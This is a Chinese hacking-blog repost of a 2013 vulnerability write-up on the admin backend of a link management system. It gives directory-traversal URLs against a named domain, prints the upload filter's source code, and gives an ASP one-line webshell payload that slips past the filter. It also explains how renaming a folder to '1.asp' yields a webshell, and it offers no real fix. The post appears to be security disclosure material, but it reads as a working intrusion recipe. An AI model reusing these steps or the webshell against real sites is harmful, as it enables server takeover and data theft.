记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

传承链接管理系统后台存在任意文件读取漏洞+上传检查不严谨可Getshell(读取源码逻辑绕过限制)

2013-11-14 13:55
1.模板管理处对CurrPath参数过滤不当导致可以遍历上级目录
 
http://pplms.cn/x/admin/Template/TemplateManage.asp?CurrPath=%2Fx%2F
也可以直接查看文件内容,如
 
http://pplms.cn/x/admin/Template/Template.asp?Action=Modify&FileName=Config%2Easp&CurrPath=%2Fx%2FConfig
按说这里应该是编辑内容的,但是限制了可保存的文件名,文件名不能出现; 并且路径中也不能出现x.asp这种,就算你建立了x.asp这样的目录也不能在这里拿shell
 
 
 
2.结合1,虽然不能直接拿shell,但是支持我们新建一个1.asp的目录名,系统本身有上传文件管理的功能
 
我开始的想法是直接传jpg到1.asp目录里,但是文件内容也有检查限制
我们利用漏洞1读一下相关的代码,文件类型限制之类的就不看了,只看内容检查的地方,代码如下
 

'检查文件内容的是否合法

Function CheckFileContent(byval path,byval FileSize)

Dim kk,NoAllowExtArr

NoAllowExtArr=Split(NoAllowExt,"|")

For kk=0 To Ubound(NoAllowExtArr)

If InStr(LCase(path),"." & NoAllowExtArr(kk))<>0 Then

Call PCls.DeleteFile(path)'删除指定文件

CheckFileContent= "文件上传失败,文件名不合法"

Exit Function

End If

Next

If FileSize>50 Then Exit Function '超过50K跳过检测



On Error Resume Next

Dim FindContent,regEx,FoundTF

FindContent=PCls.ReadFromFile(Replace(path,PCls.Setting(2),""))

If Err Then Exit Function:Err.Clear

FoundTF=false

Set regEx = New RegExp

regEx.IgnoreCase = True

regEx.Global = True



regEx.Pattern = "@\s*LANGUAGE\s*=\s*[""]?\s*(vbscript|jscript|javascript).encode\b"

If regEx.Test(FindContent) Then

FoundTF=true

End If

regEx.Pattern = "execute\s*request"

If regEx.Test(FindContent) Then

FoundTF=true

End If

regEx.Pattern = "executeglobal\s*request"

If regEx.Test(FindContent) Then

FoundTF=true

End If

regEx.Pattern = "<script.*runat.*server(\n|.)*execute(\n|.)*<\/script>"

If regEx.Test(FindContent) Then

FoundTF=true

End If

regEx.Pattern = "\<%(.|\n)*%\>"

If regEx.Test(FindContent) Then

FoundTF=true

End If

If InStr(LCase(FindContent),"scripting.filesystemobject")<>0 or instr(lcase(FindContent),"adodb.stream")<>0 Then

FoundTF=true

End If

Set regEx=nothing

If FoundTF Then

PCls.DeleteFile(path)

CheckFileContent="系统检查到您上传的文件可能存在危险代码,不允许上传!"

End If

End Function

 

 
 
 
 
这里我们有两种绕过的方法
 
 
 
1是直接上传一个大于50k的
 
2是上传如下代码的一句话
 
<script language=VBScript runat=server>eval request("a")</Script>
 
 
正则匹配忽略了大小写
 
 
 
两种方式我们均上传成功
 
但是我发现默认会生成一个1asp的文件夹,而并非长传至1.asp,这个简单,利用模板管理的强大功能,把1asp目录重命名为1.asp就ok了
 
 
 
最终拿到了webshell
 
修复方案:
厂商还是有一定的安全意识的,如何修复我想也不用我多说了
知识来源: www.2cto.com/Article/201311/257408.html

阅读:93988 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“传承链接管理系统后台存在任意文件读取漏洞+上传检查不严谨可Getshell(读取源码逻辑绕过限制)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云